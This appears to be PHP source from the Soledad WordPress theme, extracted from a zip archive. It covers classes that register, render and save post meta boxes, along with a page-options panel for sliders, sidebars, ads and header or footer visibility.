			if ( in_array( $hook, array( 'post-new.php','post.php', 'edit-tags.php','term.php' ) ) ) {

				wp_enqueue_style( 'wp-color-picker' );
				wp_enqueue_script( 'wp-color-picker' );
				wp_enqueue_media();

				wp_enqueue_script(  'penci-custom-gallery-options', PENCI_SOLEDAD_URL .'/js/admin-gallery.js', array( 'jquery','media-views', 'wp-color-picker' ), PENCI_SOLEDAD_VERSION, true );
				wp_localize_script( 'penci-custom-gallery-options', 'PenciObject', array(
					'WidgetImageTitle'   => esc_html__( 'Select an image', 'soledad' ),
					'WidgetImageButton'  => esc_html__( 'Insert into widget', 'soledad' ),
					'ajaxUrl'            => admin_url( 'admin-ajax.php' ),
					'nonce'              => wp_create_nonce( 'ajax-nonce' ),
				) );

				wp_enqueue_style( 'penci-admin-post', PENCI_SOLEDAD_URL . '/css/admin.css', '', PENCI_SOLEDAD_VERSION );
			}
		}
	}

	new PENCI_FW_MetaBox;
endif;
PK     0w\Md^;  ;    meta-box/inc/add-meta-box.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
/**
 * Register a meta box using a class.
 */
class Penci_Add_Meta_Box {

	/**
	 * Meta box parameters.
	 *
	 * @var array
	 */
	public $meta_box;

	/**
	 * Constructor.
	 */
	public function __construct( $meta_box ) {
		if( ! $meta_box  ) {
			return;
		}

		$this->meta_box = $meta_box;

		if ( is_admin() ) {
			add_action( 'load-post.php',     array( $this, 'init_metabox' ) );
			add_action( 'load-post-new.php', array( $this, 'init_metabox' ) );
		}
	}

	/**
	 * Meta box initialization.
	 */
	public function init_metabox() {
		add_action( 'add_meta_boxes', array( $this, 'add_metabox'  )        );
		add_action( 'save_post',      array( $this, 'save_metabox' ), 10, 2 );
	}

	/**
	 * Adds the meta box.
	 */
	public function add_metabox() {

		$metabox = $this->meta_box;

		if ( isset( $metabox['fields'] ) ) {
			unset( $metabox['fields'] );
		}

		add_meta_box(
			$metabox['id'],
			$metabox['title'],
			array( $this, 'render_metabox' ),
			$metabox['post_types'],
			$metabox['context'],
			$metabox['priority']
		);

	}

	/**
	 * Renders the meta box.
	 */
	public function render_metabox( $post ) {

		$metabox = $this->meta_box;
		$tabs = isset( $metabox['tabs'] ) ? $metabox['tabs'] : array();

		$fields = isset( $metabox['fields'] ) ? $metabox['fields'] : array();
		if( ! $fields ) {
			return;
		}

		echo '<div class="penci-metabox-wrap">';

		if( $tabs ){
			echo '<ul class="penci-metabox-tabs">';
			$i = 0;
			foreach ( $tabs as $key => $tab_data ) {
				$class = "tab-$key";
				if ( ! $i ) {
					$class .= ' tab-active';
				}
				printf(
					'<li class="%s" data-panel="%s"><a href="#">%s%s</a></li>',
					esc_attr( $class ),
					esc_attr( $key ),
					$tab_data['icon'] ? '<i class="' . esc_attr( $tab_data['icon'] ) . '"></i>' : '',
					$tab_data['label'] ? $tab_data['label'] : ''
				);

				$i ++;
			} // End foreach().
			echo '</ul>';

			$group_tabs = array();
			foreach ( (array)$fields as  $field ){
				if ( ! isset( $field['tab'] ) ) {
					continue;
				}

				$tab_key = $field['tab'];

				$group_tabs[ $tab_key ][] = $field;
			}

			echo '<div class="penci-metabox-fields">';
			foreach ( (array)$group_tabs as $tab =>  $fields ){

				echo '<div class="penci-tab-panel penci-tab-panel-' . esc_attr( $tab ) . '">';
				foreach ( (array)$fields as  $field ){
					PENCI_FW_MetaBox_Fields::html_field( $field, $post->ID, 'post', $tab );
				}
				echo '</div>';
			}
			echo '</div>';
		}else{
			echo '<div class="penci-metabox-fields">';
			foreach ( (array)$fields as  $field ){
				PENCI_FW_MetaBox_Fields::html_field( $field, $post->ID );
			}
			echo '</div>';
		}


		echo '</div>';
	}


	/**
	 * Save the meta when the post is saved.
	 *
	 * @param $post_id
	 *
	 * @return mixed
	 */
	public function save_metabox( $post_id ) {



		$metabox = $this->meta_box;

		$metabox_post_type = isset( $metabox['post_types'] ) ? $metabox['post_types'] : array();
		$current_post_type = isset( $_POST['post_type'] ) ? $_POST['post_type'] : '';

		if( ! in_array( $current_post_type, $metabox_post_type ) ) {
			return;
		}


		$tabs = isset( $metabox['tabs'] ) ? $metabox['tabs'] : array();

		$fields = isset( $metabox['fields'] ) ? $metabox['fields'] : array();
		if( ! $fields ) {
			return;
		}

		if( $tabs ){
			$group_tabs = array();
			foreach ( (array)$fields as  $field ){
				if ( ! isset( $field['tab'] ) ) {
					continue;
				}

				$tab_key  = isset( $field['tab'] ) ? $field['tab'] : '';
				$field_id = isset( $field['id'] ) ? $field['id'] : '';

				if( ! $tab_key || ! $field_id ) {
					continue;
				}

				$value_field = isset( $_POST[ $field_id ] ) ? $_POST[ $field_id ] : '';
				if ( 'checkbox' == $field['type'] ) {
					$value_field =  $value_field ? '1' : '';
				}

				$group_tabs[ $tab_key ][$field_id] = $value_field;
			}

			foreach ( (array) $group_tabs as $tab => $fields ) {
				update_post_meta( $post_id, 'penci_pmeta_' . $tab, $fields );
			}
		}else{
			foreach ( (array)$fields as  $field ){
				$this->save_field( $field, $post_id );
			}
		}
	}

	/**
	 * Save field
	 *
	 * @param $field
	 * @param $post_id
	 */
	public function save_field( $field, $post_id ) {
		$defaults = array(
			'id'   => '',
			'type' => ''
		);
		$field    = wp_parse_args( $field, $defaults );

		$field_id    = $field['id'];
		$value_field = isset( $_POST[ $field_id ] ) ? $_POST[ $field_id ] : '';
		$value_field = sanitize_text_field( $value_field );

		if ( 'checkbox' == $field['type'] ) {
			update_post_meta( $post_id, $field_id, ( $value_field ? '1' : '' ) );
		} else {
			update_post_meta( $post_id, $field_id, $value_field );
		}


	}

}PK     0w\	%F  F    meta-box/inc/fields.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}
if ( ! class_exists( 'PENCI_FW_MetaBox_Fields' ) ):
	class PENCI_FW_MetaBox_Fields {

		public static $post_id = 0;
		public static $type = 'post';
		public static $tab = '';

		public static function html_field( $field, $post_id, $type = 'post', $tab = array() ) {
			$defaults = array(
				'id'          => '',
				'type'        => '',
				'name'        => '',
				'desc'        => '',
				'std'         => '',
				'placeholder' => '',
				'min'         => '',
				'max'         => '',
				'style'       => '',
				'options'     => array(),
			);

			self::$post_id = $post_id;
			self::$type    = $type;
			self::$tab     = $tab;

			$field = wp_parse_args( $field, $defaults );

			switch ( $field['type'] ) {
				case 'text':
					self::html_field_text( $field );
					break;
				case 'number':
					self::html_field_number( $field );
					break;
				case 'textarea':
					self::html_field_textarea( $field );
					break;
				case 'wysiwyg':
					self::html_field_wysiwyg( $field );
					break;
				case 'checkbox':
					self::html_field_checkbox( $field );
					break;
				case 'select':
					self::html_field_select( $field );
					break;
				case 'image_select':
					self::html_field_image_select( $field );
					break;
				case 'color':
					self::html_field_color( $field );
					break;
				case 'image':
					self::html_field_image( $field );
					break;
				case 'custom_html':
					self::html_field_custom_html( $field );
					break;
				case 'srart_accordion':
					self::html_field_srart_accordion( $field );
					break;
				case 'end_accordion':
					self::html_field_end_accordion( $field );
					break;
				case 'tab_general_options':
					self::get_meta_box_general();
					break;
			}
		}

		public static function get_meta_box_general() {

			// Add an nonce field so we can check for it later.
			wp_nonce_field( 'penci_inner_custom_box', 'penci_inner_custom_box_nonce' );

			// Use get_post_meta to retrieve an existing value from the database.
			$value                   = get_post_meta( self::$post_id, 'penci_custom_sidebar_page_display', true );
			$value_left              = get_post_meta( self::$post_id, 'penci_custom_sidebar_left_page_field', true );
			$slider                  = get_post_meta( self::$post_id, 'penci_page_slider', true );
			$featured_boxes          = get_post_meta( self::$post_id, 'penci_page_display_featured_boxes', true );
			$pagetitle               = get_post_meta( self::$post_id, 'penci_page_display_title', true );
			$breadcrumb              = get_post_meta( self::$post_id, 'penci_page_breadcrumb', true );
			$sharebox                = get_post_meta( self::$post_id, 'penci_page_sharebox', true );
			$rev_shortcode           = get_post_meta( self::$post_id, 'penci_page_rev_shortcode', true );
			$hide_header             = get_post_meta( self::$post_id, 'penci_page_hide_header', true );
			$hide_footer             = get_post_meta( self::$post_id, 'penci_page_hide_footer', true );
			$page_sidebar            = get_post_meta( self::$post_id, 'penci_sidebar_page_pos', true );
			$penci_helpful_enable    = get_post_meta( self::$post_id, 'penci_helpful_enable', true );
			$penci_page_dis_ads      = get_post_meta( self::$post_id, 'penci_page_dis_ads', true );
			$penci_post_critical_css = get_post_meta( self::$post_id, 'penci_post_critical_css', true );
			$penci_desktop_page_id   = get_post_meta( self::$post_id, 'penci_desktop_page_id', true );
			$penci_desktop_page_id   = ( isset( $_REQUEST['desktop_id'] ) && $_REQUEST['desktop_id'] ) ? $_REQUEST['desktop_id'] : $penci_desktop_page_id;
			?>
			<?php if ( $penci_desktop_page_id ) : ?>

			<input id="penci_desktop_page_id" name="penci_desktop_page_id" type="hidden" value="<?php echo esc_attr($penci_desktop_page_id);?>" />

			<?php endif; ?>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;">Select Featured
                        Slider/Featured Video to Display on Top of This Page?</h2>
                    <p class="description">This option not apply for Page Template Full Width</p>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_page_slider_field" name="penci_page_slider_field">
                            <option value=""><?php _e( 'None', 'soledad' ); ?></option>
                            <option value="style-1" <?php selected( $slider, 'style-1' ); ?>><?php _e( 'Posts Featured Slider Style 1', 'soledad' ); ?></option>
                            <option value="style-2" <?php selected( $slider, 'style-2' ); ?>><?php _e( 'Posts Featured Slider Style 2', 'soledad' ); ?></option>
                            <option value="style-3" <?php selected( $slider, 'style-3' ); ?>><?php _e( 'Posts Featured Slider Style 3', 'soledad' ); ?></option>
                            <option value="style-4" <?php selected( $slider, 'style-4' ); ?>><?php _e( 'Posts Featured Slider Style 4', 'soledad' ); ?></option>
                            <option value="style-5" <?php selected( $slider, 'style-5' ); ?>><?php _e( 'Posts Featured Slider Style 5', 'soledad' ); ?></option>
                            <option value="style-6" <?php selected( $slider, 'style-6' ); ?>><?php _e( 'Posts Featured Slider Style 6', 'soledad' ); ?></option>
                            <option value="style-7" <?php selected( $slider, 'style-7' ); ?>><?php _e( 'Posts Featured Slider Style 7', 'soledad' ); ?></option>
                            <option value="style-8" <?php selected( $slider, 'style-8' ); ?>><?php _e( 'Posts Featured Slider Style 8', 'soledad' ); ?></option>
                            <option value="style-9" <?php selected( $slider, 'style-9' ); ?>><?php _e( 'Posts Featured Slider Style 9', 'soledad' ); ?></option>
                            <option value="style-10" <?php selected( $slider, 'style-10' ); ?>><?php _e( 'Posts Featured Slider Style 10', 'soledad' ); ?></option>
                            <option value="style-11" <?php selected( $slider, 'style-11' ); ?>><?php _e( 'Posts Featured Slider Style 11', 'soledad' ); ?></option>
                            <option value="style-12" <?php selected( $slider, 'style-12' ); ?>><?php _e( 'Posts Featured Slider Style 12', 'soledad' ); ?></option>
                            <option value="style-13" <?php selected( $slider, 'style-13' ); ?>><?php _e( 'Posts Featured Slider Style 13', 'soledad' ); ?></option>
                            <option value="style-14" <?php selected( $slider, 'style-14' ); ?>><?php _e( 'Posts Featured Slider Style 14', 'soledad' ); ?></option>
                            <option value="style-15" <?php selected( $slider, 'style-15' ); ?>><?php _e( 'Posts Featured Slider Style 15', 'soledad' ); ?></option>
                            <option value="style-16" <?php selected( $slider, 'style-16' ); ?>><?php _e( 'Posts Featured Slider Style 16', 'soledad' ); ?></option>
                            <option value="style-17" <?php selected( $slider, 'style-17' ); ?>><?php _e( 'Posts Featured Slider Style 17', 'soledad' ); ?></option>
                            <option value="style-18" <?php selected( $slider, 'style-18' ); ?>><?php _e( 'Posts Featured Slider Style 18', 'soledad' ); ?></option>
                            <option value="style-19" <?php selected( $slider, 'style-19' ); ?>><?php _e( 'Posts Featured Slider Style 19', 'soledad' ); ?></option>
                            <option value="style-20" <?php selected( $slider, 'style-20' ); ?>><?php _e( 'Posts Featured Slider Style 20', 'soledad' ); ?></option>
                            <option value="style-21" <?php selected( $slider, 'style-21' ); ?>><?php _e( 'Posts Featured Slider Style 21', 'soledad' ); ?></option>
                            <option value="style-22" <?php selected( $slider, 'style-22' ); ?>><?php _e( 'Posts Featured Slider Style 22', 'soledad' ); ?></option>
                            <option value="style-23" <?php selected( $slider, 'style-23' ); ?>><?php _e( 'Posts Featured Slider Style 23', 'soledad' ); ?></option>
                            <option value="style-24" <?php selected( $slider, 'style-24' ); ?>><?php _e( 'Posts Featured Slider Style 24', 'soledad' ); ?></option>
                            <option value="style-25" <?php selected( $slider, 'style-25' ); ?>><?php _e( 'Posts Featured Slider Style 25', 'soledad' ); ?></option>
                            <option value="style-26" <?php selected( $slider, 'style-26' ); ?>><?php _e( 'Posts Featured Slider Style 26', 'soledad' ); ?></option>
                            <option value="style-27" <?php selected( $slider, 'style-27' ); ?>><?php _e( 'Posts Featured Slider Style 27', 'soledad' ); ?></option>
                            <option value="style-28" <?php selected( $slider, 'style-28' ); ?>><?php _e( 'Posts Featured Slider Style 28', 'soledad' ); ?></option>
                            <option value="style-29" <?php selected( $slider, 'style-29' ); ?>><?php _e( 'Posts Featured Slider Style 29', 'soledad' ); ?></option>
                            <option value="style-30" <?php selected( $slider, 'style-30' ); ?>><?php _e( 'Posts Featured Slider Style 30', 'soledad' ); ?></option>
                            <option value="style-31" <?php selected( $slider, 'style-31' ); ?>><?php _e( 'Penci Slider Style 1', 'soledad' ); ?></option>
                            <option value="style-32" <?php selected( $slider, 'style-32' ); ?>><?php _e( 'Penci Slider Style 2', 'soledad' ); ?></option>
                            <option value="style-33" <?php selected( $slider, 'style-33' ); ?>><?php _e( 'Revolution Slider Full Width', 'soledad' ); ?></option>
                            <option value="style-34" <?php selected( $slider, 'style-34' ); ?>><?php _e( 'Revolution Slider In Container', 'soledad' ); ?></option>
                            <option value="style-35" <?php selected( $slider, 'style-35' ); ?>><?php _e( 'Posts Featured Slider Style 35', 'soledad' ); ?></option>
                            <option value="style-36" <?php selected( $slider, 'style-36' ); ?>><?php _e( 'Posts Featured Slider Style 36', 'soledad' ); ?></option>
                            <option value="style-37" <?php selected( $slider, 'style-37' ); ?>><?php _e( 'Posts Featured Slider Style 37', 'soledad' ); ?></option>
                            <option value="style-38" <?php selected( $slider, 'style-38' ); ?>><?php _e( 'Posts Featured Slider Style 38', 'soledad' ); ?></option>
                            <option value="style-40" <?php selected( $slider, 'style-40' ); ?>><?php _e( 'Posts Featured Slider Style 39', 'soledad' ); ?></option>
                            <option value="style-41" <?php selected( $slider, 'style-40' ); ?>><?php _e( 'Posts Featured Slider Style 40', 'soledad' ); ?></option>
                            <option value="style-42" <?php selected( $slider, 'style-40' ); ?>><?php _e( 'Posts Featured Slider Style 41', 'soledad' ); ?></option>
                            <option value="style-44" <?php selected( $slider, 'style-40' ); ?>><?php _e( 'Posts Featured Slider Style 42', 'soledad' ); ?></option>
                            <option value="video" <?php selected( $slider, 'video' ); ?>><?php _e( 'Featured Video Background', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>

            <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php _e( 'Revolution Slider Shortcode', 'soledad' ); ?></h2>
            <p class="description"><?php _e( 'If you select Revolution Slider above, please fill Revolution Slider Shortcode here. This option not apply for Page Template Full Width', 'soledad' ); ?></p>
            <textarea style="width: 100%; height: 50px;"
                      name="penci_page_rev_shortcode"><?php if ( $rev_shortcode ): echo $rev_shortcode; endif; ?></textarea>

            <div class="penci-metabox-row penci-col-6">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php _e( 'Display Featured Boxes?', 'soledad' ); ?> </h2>
                <p class="select-button-type">
                    <select id="penci_page_display_featured_boxes" name="penci_page_display_featured_boxes">
                        <option value=""><?php _e( 'No', 'soledad' ); ?></option>
                        <option value="yes" <?php selected( $featured_boxes, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
            <div class="penci-metabox-row penci-col-6">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php _e( 'Display Page Title?', 'soledad' ); ?> </h2>
                <p class="select-button-type">
                    <select id="penci_page_display_title_field" name="penci_page_display_title_field">
                        <option value=""><?php _e( 'Default', 'soledad' ); ?></option>
                        <option value="yes" <?php selected( $pagetitle, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                        <option value="no" <?php selected( $pagetitle, 'no' ); ?>><?php _e( 'No', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
            <div class="penci-metabox-row penci-col-6">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php _e( 'Display Breadcrumb on This Page?', 'soledad' ); ?></h2>
                <p class="select-button-type">
                    <select id="penci_page_breadcrumb_field" name="penci_page_breadcrumb_field">
                        <option value=""><?php _e( 'Yes', 'soledad' ); ?></option>
                        <option value="no" <?php selected( $breadcrumb, 'no' ); ?>><?php _e( 'No', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
            <div class="penci-metabox-row penci-col-6">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Display Share Box on This Page?', 'soledad' ); ?></h2>
                <p class="select-button-type">
                    <select id="penci_page_sharebox_field" name="penci_page_sharebox_field">
                        <option value=""><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                        <option value="no" <?php selected( $sharebox, 'no' ); ?>><?php esc_html_e( 'No', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
            <div class="penci-metabox-row penci-col-6">

                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Hide Header on This Page?', 'soledad' ); ?></h2>
                <p class="select-button-type">
                    <select id="penci_page_hide_header_field" name="penci_page_hide_header_field">
                        <option value=""><?php esc_html_e( 'No', 'soledad' ); ?></option>
                        <option value="yes" <?php selected( $hide_header, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
            <div class="penci-metabox-row penci-col-6">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;">Hide Footer on This
                    Page?</h2>
                <p class="select-button-type">
                    <select id="penci_page_hide_footer_field" name="penci_page_hide_footer_field">
                        <option value=""><?php esc_html_e( 'No', 'soledad' ); ?></option>
                        <option value="yes" <?php selected( $hide_footer, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
            <div class="penci-col-12 pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Select Sidebar Position for This Page', 'soledad' ); ?></h2>
                    <p style="clear: both"
                       class="description"><?php esc_html_e( 'This option just apply for Page Template "Default Template", "Page with Sidebar" and "Page VC Builder with Sidebar"', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_sidebar_page_pos" name="penci_sidebar_page_pos">
                            <option value=""><?php esc_html_e( "Default", "soledad" ); ?></option>
                            <option value="left-sidebar" <?php selected( $page_sidebar, 'left-sidebar' ); ?>><?php esc_html_e( "Left Sidebar", "soledad" ); ?></option>
                            <option value="right-sidebar" <?php selected( $page_sidebar, 'right-sidebar' ); ?>><?php esc_html_e( "Right Sidebar", "soledad" ); ?></option>
                            <option value="two-sidebar" <?php selected( $page_sidebar, 'two-sidebar' ); ?>><?php esc_html_e( "Two Sidebar", "soledad" ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
			<div class="penci-col-12 pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Disable All Adsense Code on This Page', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
                        <select id="penci_page_dis_ads" name="penci_page_dis_ads">
                            <option value=""><?php esc_html_e( "No, Keep all Ads", "soledad" ); ?></option>
                            <option value="disable" <?php selected( $penci_page_dis_ads, 'disable' ); ?>><?php esc_html_e( "Yes, Disable all Ads", "soledad" ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
			
			<?php
                $post_type = get_theme_mod( 'penci_ha_enabled_post_types', [] );
                if ( in_array( 'page', $post_type ) ) {
            ?>
			<div class="penci-col-12 pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Enable Article Feedback for This
                        Page', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control select-button-type">
                    <p>
						<select id="penci_helpful_enable" name="penci_helpful_enable">
                            <option value=""><?php esc_html_e( 'Default Settings', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $penci_helpful_enable, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $penci_helpful_enable, 'no' ); ?>><?php esc_html_e( 'No', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
			<?php } ?>

            <div class="penci-col-12 pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Custom Sidebar for This Posts/Page', 'soledad' ); ?></h2>
                    <p class="description"><?php esc_html_e( 'Note: for page, you can choose display sidebar or no in Template "Page with Sidebar" and custom sidebar here, if sidebar you choice here is empty, will display sidebar you choice for page in customize. This option not apply for Page Template Full Width', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_custom_sidebar_page_field" name="penci_custom_sidebar_page_field">
                            <option value=""><?php esc_html_e( "Default Sidebar( on Customize )", "soledad" ); ?></option>
                            <option value="main-sidebar" <?php selected( $value, 'main-sidebar' ); ?>><?php esc_html_e( "Main Sidebar", "soledad" ); ?></option>
                            <option value="main-sidebar-left" <?php selected( $value, 'main-sidebar-left' ); ?>><?php esc_html_e( "Main Sidebar Left", "soledad" ); ?></option>
                            <option value="custom-sidebar-1" <?php selected( $value, 'custom-sidebar-1' ); ?>><?php esc_html_e( "Custom Sidebar 1", "soledad" ); ?></option>
                            <option value="custom-sidebar-2" <?php selected( $value, 'custom-sidebar-2' ); ?>><?php esc_html_e( "Custom Sidebar 2", "soledad" ); ?></option>
                            <option value="custom-sidebar-3" <?php selected( $value, 'custom-sidebar-3' ); ?>><?php esc_html_e( "Custom Sidebar 3", "soledad" ); ?></option>
                            <option value="custom-sidebar-4" <?php selected( $value, 'custom-sidebar-4' ); ?>><?php esc_html_e( "Custom Sidebar 4", "soledad" ); ?></option>
                            <option value="custom-sidebar-5" <?php selected( $value, 'custom-sidebar-5' ); ?>><?php esc_html_e( "Custom Sidebar 5", "soledad" ); ?></option>
                            <option value="custom-sidebar-6" <?php selected( $value, 'custom-sidebar-6' ); ?>><?php esc_html_e( "Custom Sidebar 6", "soledad" ); ?></option>
                            <option value="custom-sidebar-7" <?php selected( $value, 'custom-sidebar-7' ); ?>><?php esc_html_e( "Custom Sidebar 7", "soledad" ); ?></option>
                            <option value="custom-sidebar-8" <?php selected( $value, 'custom-sidebar-8' ); ?>><?php esc_html_e( "Custom Sidebar 8", "soledad" ); ?></option>
                            <option value="custom-sidebar-9" <?php selected( $value, 'custom-sidebar-9' ); ?>><?php esc_html_e( "Custom Sidebar 9", "soledad" ); ?></option>
                            <option value="custom-sidebar-10" <?php selected( $value, 'custom-sidebar-10' ); ?>><?php esc_html_e( "Custom Sidebar 10", "soledad" ); ?></option>
							<?php Penci_Custom_Sidebar::get_list_sidebar( $value ); ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="penci-col-12 pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Custom Sidebar Left for This Posts/Page', 'soledad' ); ?></h2>
                    <p class="description"><?php esc_html_e( 'Note: for page, you can choose display sidebar or no in Template "Page with Sidebar" and custom sidebar here, if sidebar you choice here is empty, will display sidebar you choice for page in customize. This option not apply for Page Template Full Width', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_custom_sidebar_left_page_field" name="penci_custom_sidebar_left_page_field">
                            <option value=""><?php esc_html_e( "Default Sidebar( on Customize )", "soledad" ); ?></option>
                            <option value="main-sidebar" <?php selected( $value_left, 'main-sidebar' ); ?>><?php esc_html_e( "Main Sidebar", "soledad" ); ?></option>
                            <option value="main-sidebar-left" <?php selected( $value_left, 'main-sidebar-left' ); ?>><?php esc_html_e( "Main Sidebar Left", "soledad" ); ?></option>
                            <option value="custom-sidebar-1" <?php selected( $value_left, 'custom-sidebar-1' ); ?>><?php esc_html_e( "Custom Sidebar 1", "soledad" ); ?></option>
                            <option value="custom-sidebar-2" <?php selected( $value_left, 'custom-sidebar-2' ); ?>><?php esc_html_e( "Custom Sidebar 2", "soledad" ); ?></option>
                            <option value="custom-sidebar-3" <?php selected( $value_left, 'custom-sidebar-3' ); ?>><?php esc_html_e( "Custom Sidebar 3", "soledad" ); ?></option>
                            <option value="custom-sidebar-4" <?php selected( $value_left, 'custom-sidebar-4' ); ?>><?php esc_html_e( "Custom Sidebar 4", "soledad" ); ?></option>
                            <option value="custom-sidebar-5" <?php selected( $value_left, 'custom-sidebar-5' ); ?>><?php esc_html_e( "Custom Sidebar 5", "soledad" ); ?></option>
                            <option value="custom-sidebar-6" <?php selected( $value_left, 'custom-sidebar-6' ); ?>><?php esc_html_e( "Custom Sidebar 6", "soledad" ); ?></option>
                            <option value="custom-sidebar-7" <?php selected( $value_left, 'custom-sidebar-7' ); ?>><?php esc_html_e( "Custom Sidebar 7", "soledad" ); ?></option>
                            <option value="custom-sidebar-8" <?php selected( $value_left, 'custom-sidebar-8' ); ?>><?php esc_html_e( "Custom Sidebar 8", "soledad" ); ?></option>
                            <option value="custom-sidebar-9" <?php selected( $value_left, 'custom-sidebar-9' ); ?>><?php esc_html_e( "Custom Sidebar 9", "soledad" ); ?></option>
                            <option value="custom-sidebar-10" <?php selected( $value_left, 'custom-sidebar-10' ); ?>><?php esc_html_e( "Custom Sidebar 10", "soledad" ); ?></option>
							<?php Penci_Custom_Sidebar::get_list_sidebar( $value_left ); ?>
                        </select>
                    </p>
                </div>
            </div>
			<?php if ( get_theme_mod( 'penci_speed_remove_css' ) ): ?>
                <div class="penci-metabox-row penci-col-12">

                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;min-width: 200px;"><?php esc_html_e( 'Create a Separate Critical CSS cache for this Page?', 'soledad' ); ?></h2>
                    <p class="select-button-type">
                        <select id="penci_post_critical_css" name="penci_post_critical_css">
                            <option value=""><?php esc_html_e( 'No', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $penci_post_critical_css, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
			<?php endif;
		}

		private static function get_value_input( $field_id ) {
			$tab = self::$tab;

			$output = '';

			if ( $tab ) {
				if ( 'term' == self::$type ) {
					$penci_pmeta = get_term_meta( self::$post_id, 'penci_pmeta_' . $tab, true );
				} else {
					$penci_pmeta = get_post_meta( self::$post_id, 'penci_pmeta_' . $tab, true );
				}

				if ( isset( $penci_pmeta[ $field_id ] ) ) {
					$output = $penci_pmeta[ $field_id ];
				}
			} else {
				if ( 'term' == self::$type ) {
					$output = get_term_meta( self::$post_id, $field_id, true );
				} else {
					$output = get_post_meta( self::$post_id, $field_id, true );
				}
			}


			return $output;
		}

		private static function html_field_text( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			echo '</div>';
			echo '<div class="penci-mb-input">';

			$placeholder = '';
			if ( isset( $field['placeholder'] ) && $field['placeholder'] ) {
				$placeholder = 'placeholder="' . $field['placeholder'] . '"';
			}


			printf( '<input %s type="text" name="%s" id="%s" %s value="%s">',
				self::html_attr_input( $field ),
				$field['id'],
				$field['id'],
				$placeholder,
				self::get_value_input( $field['id'] )
			);

			self::html_field_desc( $field['desc'] );
			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_number( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			echo '</div>';
			echo '<div class="penci-mb-input">';
			printf( '<input %s type="number" name="%s" id="%s" value="%s">',
				self::html_attr_input( $field ),
				$field['id'],
				$field['id'],
				self::get_value_input( $field['id'] )
			);

			self::html_field_desc( $field['desc'] );
			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_textarea( $field ) {
			self::html_field_div_before( $field['id'], $field['style'] );

			echo '<div class="penci-mb-labeldesc">';
			self::html_field_label( $field );
			self::html_field_desc( $field['desc'] );
			echo '</div>';
			echo '<div class="penci-mb-input">';

			printf( '<textarea %s name="%s" id="%s">%s</textarea>',
				self::html_attr_input( $field ),
				$field['id'],
				$field['id'],
				self::get_value_input( $field['id'] )
			);
			echo '</div>';

			self::html_field_div_after();
		}

		private static function html_field_wysiwyg( $field ) {
			echo '<div class="penci-metabox-row ' . esc_attr( $field['id'] ) . ( $field['style'] ? ' ' . $field['style'] : '' ) . '">';

			if ( isset( $field['name'] ) && $field['name'] ) {
				echo '<div class="penci-mb-labeldesc">';
				self::html_field_label( $field );
				self::html_field_desc( $field['desc'] );
				echo '</div>';
			}

			echo '<div class="penci-mb-input">';

			$content = self::get_value_input( $field['id'] );

			$field['options']['textarea_name'] = $field['id'];
			$field['options']['dfw']           = isset( $field['1'] ) ? $field['1'] : '';

			if ( ! isset( $field['options']['editor_height'] ) ) {
				$field['options']['editor_height'] = '250';
			}

